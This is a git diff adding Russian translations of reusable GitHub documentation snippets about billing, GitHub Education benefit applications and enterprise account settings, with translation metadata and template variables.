b/translations/ru-RU/data/reusables/dotcom_billing/view-all-subscriptions.md new file mode 100644 index 000000000000..8403ca7ead78 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/view-all-subscriptions.md @@ -0,0 +1 @@ +To view all the subscriptions for your account on {% data variables.location.product_location %}, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)." diff --git a/translations/ru-RU/data/reusables/dotcom_billing/view-payment-history.md b/translations/ru-RU/data/reusables/dotcom_billing/view-payment-history.md new file mode 100644 index 000000000000..d2fee21854b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/dotcom_billing/view-payment-history.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0e0773fe26ad8b02c68c3b156f06c434ed753837 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785761" +--- +1. В верхней части страницы в разделе "Следующий платеж" щелкните **Просмотреть журнал платежей**. +![Ссылка на просмотр журнала платежей](/assets/images/help/billing/view-payment-history-link.png) diff --git a/translations/ru-RU/data/reusables/education/about-github-community-exchange-intro.md b/translations/ru-RU/data/reusables/education/about-github-community-exchange-intro.md new file mode 100644 index 000000000000..7531d9bd9c21 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/about-github-community-exchange-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 82c3a5fa91313a6f2e27e58b62c706ea5b0ef4d9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109647" +--- +{% data variables.product.prodname_community_exchange %} — это сообщество учащихся на портале {% data variables.product.prodname_global_campus %}. Для учащихся это место, где можно показать свой проект и найти репозитории других учащихся, которым нужны партнеры. diff --git a/translations/ru-RU/data/reusables/education/about-github-education-link.md b/translations/ru-RU/data/reusables/education/about-github-education-link.md new file mode 100644 index 000000000000..6c665402d6db --- /dev/null +++ b/translations/ru-RU/data/reusables/education/about-github-education-link.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 620b90976590638814c4da04561b3b6feda59d78 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147573840" +--- +Как учащийся или преподаватель в аккредитованном учебном заведении, вы можете подать заявку на {% data variables.product.prodname_global_campus %}. {% data variables.product.prodname_global_campus %} — это портал, который позволяет сообществу GitHub Education Community получить доступ к преимуществам образования. И все это в одном месте! Портал {% data variables.product.prodname_global_campus %} предоставляет доступ к {% data variables.product.prodname_education_community_with_url %}, отраслевым средствам, используемым профессиональными разработчиками, событиям, контенту [Campus TV](https://www.twitch.tv/githubeducation), {% data variables.product.prodname_classroom_with_url %}, [{% data variables.product.prodname_community_exchange %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange), {% data variables.product.prodname_student_pack %} и другим эксклюзивным возможностям, которые помогают учащимся и преподавателям определять направление развития для разработки программного обеспечения. + +Прежде чем подать заявку на персональную скидку, убедитесь, что ваше сообщество уже сотрудничает с нами в качестве учебного заведения{% data variables.product.prodname_campus_program %}. Дополнительные сведения см. в разделе "[Сведения о {% data variables.product.prodname_campus_program %}](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program)". diff --git a/translations/ru-RU/data/reusables/education/access-github-community-exchange.md b/translations/ru-RU/data/reusables/education/access-github-community-exchange.md new file mode 100644 index 000000000000..844b1d976734 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/access-github-community-exchange.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: a1ea6001187a2b5fb30e1bc6f4767db44b98c36d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147573783" +--- +Чтобы получить доступ к {% data variables.product.prodname_community_exchange %}, посетите панель мониторинга {% data variables.product.prodname_global_campus %} на сайте https://education.github.com. + +Если вы являетесь учащимся или преподавателем в аккредитованном учебном заведении, вы можете подать заявку на получение преимуществ {% data variables.product.prodname_education %}, включая доступ к {% data variables.product.prodname_community_exchange %} в {% data variables.product.prodname_global_campus %}. + +- Если вы учащийся и еще не присоединились к {% data variables.product.prodname_education %}, подайте [заявку учащегося]( https://education.github.com/discount_requests/student_application). Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_global_campus %} для учащихся](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students). + +- Если вы преподаватель и еще не присоединились к {% data variables.product.prodname_education %}, подайте [заявку преподавателя]( https://education.github.com/discount_requests/teacher_application). Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). diff --git a/translations/ru-RU/data/reusables/education/apply-for-team.md b/translations/ru-RU/data/reusables/education/apply-for-team.md new file mode 100644 index 000000000000..6eb6585ae352 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/apply-for-team.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: acbcbc95f73cbd29a7f0d1a7b4a6124296d9568b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147573846" +--- +- Зарегистрируйтесь для участия в программе [{% data variables.product.prodname_team %}](/articles/github-s-products), в рамках которой предоставляется доступ к частным репозиториям, а количество пользователей не ограничено. Дополнительные сведения см. в разделе [Заявка на {% data variables.product.prodname_global_campus %} в качестве преподавателя](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). diff --git a/translations/ru-RU/data/reusables/education/benefits-page.md b/translations/ru-RU/data/reusables/education/benefits-page.md new file mode 100644 index 000000000000..affd1a0ad71f --- /dev/null +++ b/translations/ru-RU/data/reusables/education/benefits-page.md @@ -0,0 +1 @@ +1. Go to [{% data variables.product.prodname_education %}](https://education.github.com) and, in the top right navigation bar, click **Benefits**. diff --git a/translations/ru-RU/data/reusables/education/click-get-teacher-benefits.md b/translations/ru-RU/data/reusables/education/click-get-teacher-benefits.md new file mode 100644 index 000000000000..4344502b255b --- /dev/null +++ b/translations/ru-RU/data/reusables/education/click-get-teacher-benefits.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: afab7fb26cca422fecd22db40fbb306cd8c2d334 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124296" +--- +1. В разделе "Частные лица" щелкните **Получение преимуществ преподавателя**. + !["Получение преимуществ преподавателя" на домашней странице {% data variables.product.prodname_education %}](/assets/images/help/education/click-get-teacher-benefits.png) diff --git a/translations/ru-RU/data/reusables/education/educator-requirements.md b/translations/ru-RU/data/reusables/education/educator-requirements.md new file mode 100644 index 000000000000..72996479e5d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/educator-requirements.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 0afe28241f95288731c8a3e982a9d068b652d1e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880825" +--- +Чтобы подать заявку на преимущества для преподавателей и доступ к {% data variables.product.prodname_global_campus %}, вы должны отвечать следующим критериям. + +- Быть преподавателем, сотрудником факультета или исследователем. +- Иметь проверенный адрес электронной почты, выданный учебным заведением. +- Передать документы, подтверждающие принадлежность к учебному заведению. +- Иметь личную учетную запись на {% data variables.product.product_name %}. diff --git a/translations/ru-RU/data/reusables/education/note-on-student-codespaces-usage.md b/translations/ru-RU/data/reusables/education/note-on-student-codespaces-usage.md new file mode 100644 index 000000000000..e6ba9e556ab6 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/note-on-student-codespaces-usage.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5403ea0030ebd6bdcf072c1791f863ce9f73377e +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160130" +--- +Если учащиеся используют {% data variables.product.prodname_github_codespaces %} в своих репозиториях заданий для {% data variables.product.prodname_classroom %}, плата за использование будет взиматься с организации, владеющей классом, и не повлияет на использование личной учетной записи учащегося. diff --git a/translations/ru-RU/data/reusables/education/pdf-support.md b/translations/ru-RU/data/reusables/education/pdf-support.md new file mode 100644 index 000000000000..93318a1dcc03 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/pdf-support.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 4f553b39405f6440b580ddf339d0463a0e6d13e9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124288" +--- +{% note %} + +**Примечание**. PDF-файлы не поддерживаются; их нельзя отправлять для подтверждения принадлежности. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/education/plan-to-use-github.md b/translations/ru-RU/data/reusables/education/plan-to-use-github.md new file mode 100644 index 000000000000..5eca6adb7900 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/plan-to-use-github.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 25c766644dbad106d67c241578bf468c7cb326c9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881646" +--- +1. Опишите, как вы планируете использовать {% data variables.product.prodname_dotcom %}. + ![Поле с описанием того, как вы планируете использовать {% data variables.product.prodname_dotcom %}](/assets/images/help/education/purpose-for-github-education.png) diff --git a/translations/ru-RU/data/reusables/education/school-name.md b/translations/ru-RU/data/reusables/education/school-name.md new file mode 100644 index 000000000000..be6f6e0aae1f --- /dev/null +++ b/translations/ru-RU/data/reusables/education/school-name.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 44c716f64587594a460f16d4300651973eacbaba +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124256" +--- +5. Введите название своего учебного заведения. + ![Поле для ввода названия учебного заведения](/assets/images/help/education/enter-school-name.png) diff --git a/translations/ru-RU/data/reusables/education/select-email-address.md b/translations/ru-RU/data/reusables/education/select-email-address.md new file mode 100644 index 000000000000..b0e4cf136ae3 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/select-email-address.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: fe8461a3b7af34d4eb6dbdc44f603d7cc97227f4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124243" +--- +1. Выберите или добавьте адрес электронной почты, используемый для учебного заведения. + ![Выберите адрес электронной почты](/assets/images/help/education/select-email-address.png) + + {% tip %} + + **Совет.** Выбор адреса электронной почты, выданного учебным заведением, повышает шансы на быструю проверку. + + {% endtip %} diff --git a/translations/ru-RU/data/reusables/education/student-codespaces-benefit.md b/translations/ru-RU/data/reusables/education/student-codespaces-benefit.md new file mode 100644 index 000000000000..2b517391a43a --- /dev/null +++ b/translations/ru-RU/data/reusables/education/student-codespaces-benefit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3d5f9723fc9c1778d8e98d24b3997710a468c12b +ms.sourcegitcommit: aa67bb5ad7aa6804c5def4390e30adcc7cf96ea1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: "148165196" +--- +Проверенные учащиеся получают бесплатное использование {% data variables.product.prodname_github_codespaces %} до 180 основных часов в месяц для своих личных учетных записей. Ежемесячный объем хранилища и основных часов использования, доступных учащимся, эквивалентен сумме, включенной в учетные записи {% data variables.product.prodname_pro %}. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/education/submit-application.md b/translations/ru-RU/data/reusables/education/submit-application.md new file mode 100644 index 000000000000..78c4f2c685fd --- /dev/null +++ b/translations/ru-RU/data/reusables/education/submit-application.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: ddecd34836e2c6660808f586d4ba63debc83da51 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107464" +--- +8. Проверьте сведения о приложении и нажмите кнопку **"Обработать приложение**". + ![Кнопка "Обработать приложение"](/assets/images/help/education/submit-your-information-button.png) + + {% note %} + + **Примечание:** Если после нажатия кнопки **"Обработка приложения** " появится баннер с предложением исправить что-то в приложении, необходимо исправить его, а затем нажать кнопку **"Повторно обработать приложение**". + + {% endnote %} + + Если приложение утверждено, вам будет отправлено соответствующее письмо с подтверждением. Обработка приложений обычно занимает несколько дней, однако может занять больше времени во время периодов пиковой нагрузки, таких как в начале нового семестра. diff --git a/translations/ru-RU/data/reusables/education/upload-different-image.md b/translations/ru-RU/data/reusables/education/upload-different-image.md new file mode 100644 index 000000000000..8b2bac0975f2 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/upload-different-image.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0daa5fe9a47b1e4465bd7c50ac3c25e1908cba09 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124219" +--- +При повторном применении отправьте образ, отличный от того, который вы включили в свое первое приложение. Убедитесь, что по крайней мере одна дата, показывающая текущее академическое состояние, четко видна. diff --git a/translations/ru-RU/data/reusables/education/upload-proof-reapply.md b/translations/ru-RU/data/reusables/education/upload-proof-reapply.md new file mode 100644 index 000000000000..5196ba525bf0 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/upload-proof-reapply.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4ba3c34c60afff0e365c619594520386e6257d0d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124216" +--- +При повторной подаче заявки отправьте снимок студенческого билета, выписки из академической ведомости или другого документа, подтверждающего ваш академический статус. В документе должна быть отчетливо видна по крайней мере одна дата. diff --git a/translations/ru-RU/data/reusables/education/upload-proof-status.md b/translations/ru-RU/data/reusables/education/upload-proof-status.md new file mode 100644 index 000000000000..bdca89ed68b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/education/upload-proof-status.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 1dd0713c375b42d394caba344cd0c12372077e93 +ms.sourcegitcommit: 04329ee7464efbb558d77d06664e8578cd154d87 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/15/2022 +ms.locfileid: "148046514" +--- +1. Нажмите кнопку **"Продолжить**", а затем вам будет предложено отправить подтверждение вашего академического статуса. + - Нажмите кнопку **"Сделать фотографию** ", чтобы использовать камеру компьютера для отправки подтверждения. + ![Кнопка для использования камеры с целью сфотографироваться](/assets/images/help/education/upload-proof-status.png) + - Если необходимо сменить камеру, используйте раскрывающееся меню выбора камеры. + ![Раскрывающееся меню выбора камеры](/assets/images/help/education/camera-drop-down.png) + - Поместите в кадр действительный студенческий билет или другое подтверждение текущего академического статуса и нажмите кнопку **Сделать фотографию**. + ![Кнопка "Сделать фотографию"](/assets/images/help/education/take-photo-button.png) + - Если вы не можете сфотографировать подтверждение академического статуса, можно вместо этого отправить изображение с компьютера, щелкнув ссылку **Отправить изображение**. + ![Ссылка "Отправить изображение"](/assets/images/help/education/upload-image-link.png) {% note %} + + **Примечание**. PDF-файлы не поддерживаются; их нельзя отправлять в качестве подтверждения академического статуса. + + {% endnote %} + - В разделе "Тип подтверждения" используйте раскрывающийся список, чтобы выбрать тип создаваемого подтверждения. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/about-recovery-codes.md b/translations/ru-RU/data/reusables/enterprise-accounts/about-recovery-codes.md new file mode 100644 index 000000000000..fdcbedc532f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/about-recovery-codes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e3d902d3d0177488273d2ed87cfb2f54a5343e36 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124203" +--- +Если ошибка конфигурации SAML или проблема с поставщиком удостоверений (IdP) не позволяет использовать единый вход SAML, вы можете использовать код восстановления для доступа к учетной записи предприятия. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md b/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md new file mode 100644 index 000000000000..2b8d789bc4e3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise-on-dotcom.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 11521a4f40d41a601f4d6d31770130fc33e55af7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145124195" +--- +1. Перейдите к {% data variables.product.prodname_dotcom_the_website %}. + +1. В правом верхнем углу {% data variables.product.prodname_dotcom_the_website %} щелкните фотографию профиля и выберите **Ваши предприятия**. + ![Раздел "Ваши предприятия" в раскрывающемся меню для фотографии профиля в {% data variables.product.product_name %}](/assets/images/help/enterprises/your-enterprises.png) + +1. В списке предприятий щелкните предприятие, которое требуется просмотреть. + ![Название предприятия в списке ваших предприятий](/assets/images/help/enterprises/your-enterprises-list.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise.md b/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise.md new file mode 100644 index 000000000000..683e32d51136 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/access-enterprise.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 5ac98f9d0fc3a165ecbb02b82117e3496eb41325 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124184" +--- +{% ifversion ghec %}1. В правом верхнем углу {% data variables.product.prodname_dotcom_the_website %} щелкните фотографию профиля и выберите **Ваши предприятия**. + ![Раздел "Ваши предприятия" в раскрывающемся меню для фотографии профиля в {% data variables.product.product_name %}](/assets/images/help/enterprises/your-enterprises.png) + +1. В списке предприятий щелкните предприятие, которое требуется просмотреть. + ![Название предприятия в списке ваших предприятий](/assets/images/help/enterprises/your-enterprises-list.png) + +{% elsif ghes or ghae %}1. В правом верхнем углу {% data variables.product.product_name %} щелкните фотографию профиля и выберите **Параметры предприятия**. + ![Раздел "Параметры предприятия" в раскрывающемся меню для фотографии профиля в {% data variables.product.product_name %}](/assets/images/enterprise/settings/enterprise-settings.png) {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md b/translations/ru-RU/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md new file mode 100644 index 000000000000..3f8feaa75438 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md @@ -0,0 +1,2 @@ +1. Optionally, under the billing summary at the top of the page click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} in each of your enterprise account's organizations to the primary email address for the account. + ![Download CSV report](/assets/images/help/billing/actions-packages-report-download-enterprise.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/actions-runner-groups-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/actions-runner-groups-tab.md new file mode 100644 index 000000000000..5d99c74e885c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/actions-runner-groups-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 18b153f549419cf20400348d13eb5f0a67257af1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882758" +--- +1. Перейдите на вкладку **Группы средств выполнения тестов**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/actions-runners-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/actions-runners-tab.md new file mode 100644 index 000000000000..11a25d4496bc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/actions-runners-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a3219d4b97f1ac5e7a6510f37c4535ed4158b253 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147059965" +--- +1. Перейдите на вкладку **Средства выполнения тестов**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/actions-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/actions-tab.md new file mode 100644 index 000000000000..cb9475187cb2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/actions-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4c6eca19ca9d0cbe859e18fc90ecf5d08179c469 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124147" +--- +1. В разделе «Политики {% octicon "law" aria-label="The law icon" %}» выберите **Действия**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/add-a-domain.md b/translations/ru-RU/data/reusables/enterprise-accounts/add-a-domain.md new file mode 100644 index 000000000000..866b35704220 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/add-a-domain.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 403ec9273f0a40048480ec3d0fbfb3a5c9fa0421 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124144" +--- +1. Нажмите **Добавить домен**. + ![Кнопка «Добавить домен»](/assets/images/help/enterprises/add-a-domain-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/administrators-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/administrators-tab.md new file mode 100644 index 000000000000..6d2daba6d3a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/administrators-tab.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c2c8a1d5c689828c1f9efd2d0b64cc24766f7d0f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146180602" +--- +1. В разделе «Люди {% octicon "person" aria-label="The People icon" %}» выберите **Администраторы**. + + ![Вкладка "Администраторы"]{% ifversion ghec%}(/assets/images/help/business-accounts/business-accounts-admin-tab-dotcom.png){% else %}{% ifversion enterprise-membership-view-improvements %}(/assets/images/help/business-accounts/business-accounts-admin-tab-new.png){% else %}(/assets/images/help/business-accounts/business-accounts-admin-tab.png){% endif %}{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md new file mode 100644 index 000000000000..5fa97bac0eca --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ba3f3b9462620589b9bf6352e5526f8c3d59c772 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879242" +--- +1. Если вы выбрали параметр **Allow for selected organizations** (Разрешить для выбранных организаций), справа от организации откройте раскрывающееся меню, чтобы разрешить или запретить {% data variables.product.prodname_advanced_security %} для организации. + ![Раскрывающийся список, позволяющий выбрать политику расширенной безопасности для отдельной организаций в корпоративной учетной записи](/assets/images/help/enterprises/select-advanced-security-individual-organization-policy.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md new file mode 100644 index 000000000000..dd5304e8432c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: abee9fd47b554f86b07f1eae35a35b6a01c7f243 +ms.sourcegitcommit: 605b619588c51336f3ffe9d13c68503ae45cbfc6 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/07/2022 +ms.locfileid: "148013848" +--- +1. В разделе "GitHub Advanced Security" выберите раскрывающееся меню, а затем выберите политику для организаций, принадлежащих вашей организации. + ![Раскрывающийся список, позволяющий выбрать политику расширенной безопасности для организаций в корпоративной учетной записи](/assets/images/help/enterprises/select-advanced-security-organization-policy.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-policies.md b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-policies.md new file mode 100644 index 000000000000..381060f65b76 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-policies.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8b90f1c0cf1a5e3a2fc45b5b8a578ad639cd6c83 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145124115" +--- +1. В разделе **Политики {% octicon "law" aria-label="The law icon" %}** выберите «Расширенная безопасность». + ![Политики «Расширенная безопасность» на боковой панели](/assets/images/help/enterprises/click-advanced-security.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-security-features.md b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-security-features.md new file mode 100644 index 000000000000..fbfdabe759a7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/advanced-security-security-features.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 717d7f631d43c3107c7e8714061494a67a68bedb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124107" +--- +1. В разделе «Расширенная безопасность GitHub» перейдите на вкладку **Функции безопасности**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-about.md b/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-about.md new file mode 100644 index 000000000000..3bc71edd12e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-about.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd91805f57df07da549c1bea1204bd8f0fb82051 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883799" +--- +Если вы хотите разрешить участникам получать уведомления по электронной почте в домене, котором вы не владеете, можно утвердить домен, а затем разрешить {% data variables.product.prodname_dotcom %} отправлять уведомления по электронной почте адресам в домене. Например, можно разрешить подрядчику, у которого нет адреса электронной почты в вашем собственном домене, получать уведомления по электронной почте в домене, с которым вам комфортно работать. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-beta-note.md b/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-beta-note.md new file mode 100644 index 000000000000..35967f5c8ab9 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/approved-domains-beta-note.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 7610ed196739ea79c9975df4eee96d3ec3ea7ae5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066349" +--- +{% ifversion fpt or ghes or ghec %} + +{% note %} + +**Примечание.** Утверждение домена в настоящее время доступно в бета-версии и может быть изменено. + +{% 